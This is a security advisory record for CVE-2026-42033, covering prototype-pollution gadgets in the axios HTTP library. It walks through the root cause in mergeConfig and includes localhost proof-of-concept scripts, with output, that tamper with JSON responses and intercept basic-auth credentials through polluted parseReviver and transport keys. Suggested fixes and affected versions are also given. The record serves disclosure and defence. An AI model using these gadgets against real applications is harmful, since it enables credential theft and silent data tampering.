{"id":"CVE-2026-42033","aliases":["GHSA-pf86-5x62-jrwf"],"url":"https://o3.security/vulnerability/CVE-2026-42033","summary":"Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking","details":"## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** >= 1.12.0, <= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require('./lib/core/mergeConfig.js').default;\nconst defaults = require('./lib/defaults/index.js').default;\n\nconst merged = mergeConfig(defaults, { url: '/test', method: 'get' });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) => {\n  console.log('[server] request:', req.method, req.url);\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));\n});\n\nserver.listen(19003, '127.0.0.1', () => {\n  console.log('[server] listening on 127.0.0.1:19003');\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from 'axios';\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n  // Called for every key-value pair in every JSON response parsed by axios in this process.\n  if (key !== '') {\n    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n    console.log('[exfil]', key, '=', JSON.stringify(value));\n  }\n  // Tamper: escalate role, inflate balance.\n  if (key === 'role') return 'admin';\n  if (key === 'balance') return 999999;\n  return value;\n};\n\nconst res = await axios.get('http://127.0.0.1:19003/');\nconsole.log('[app] received:', JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** >= 0.19.0, <= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n  transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) => {\n  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end('{\"ok\":true}');\n});\n\nserver.listen(19002, '127.0.0.1', () => {\n  console.log('[server] listening on 127.0.0.1:19002');\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from 'axios';\nimport http from 'http';\n\nObject.prototype.transport = {\n  request(options, handleResponse) {\n    // Intercept: called for every outbound request in this process.\n    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);\n    console.log('[hijack] auth:', options.auth);\n    console.log('[hijack] headers:', JSON.stringify(options.headers));\n    // Forward to the real transport so the caller sees a normal 200.\n    return http.request(options, handleResponse);\n  },\n};\n\nconst res = await axios.get('http://127.0.0.1:19002/api/users', {\n  auth: { username: 'svc_account', password: 'hunter2' },\n});\nconsole.log('[app] response status:', res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n  config1[prop],\n  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n  prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, 'transport') && config.transport) {\n  transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.","published":"2026-04-24T17:36:44.132Z","modified":"2026-09-12T03:30:35.905890941Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00808,"percentile":0.53709,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"axios","fixedVersion":"1.15.1"},{"ecosystem":"npm","name":"axios","fixedVersion":"0.31.1"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42033.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:14937"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16476"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16532"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16534"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16535"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16542"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16874"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17468"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17474"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17657"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17699"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19109"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20889"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20938"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21017"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21338"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21772"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22619"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22629"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22840"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:23361"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24536"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24539"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24853"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25041"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25089"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25271"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25273"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26214"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26232"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:33574"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36882"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:48670"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42033"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42033.json"},{"type":"ADVISORY","url":"https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42033"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2461607"},{"type":"PACKAGE","url":"https://github.com/axios/axios"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T03:30:35.905890941Z"}}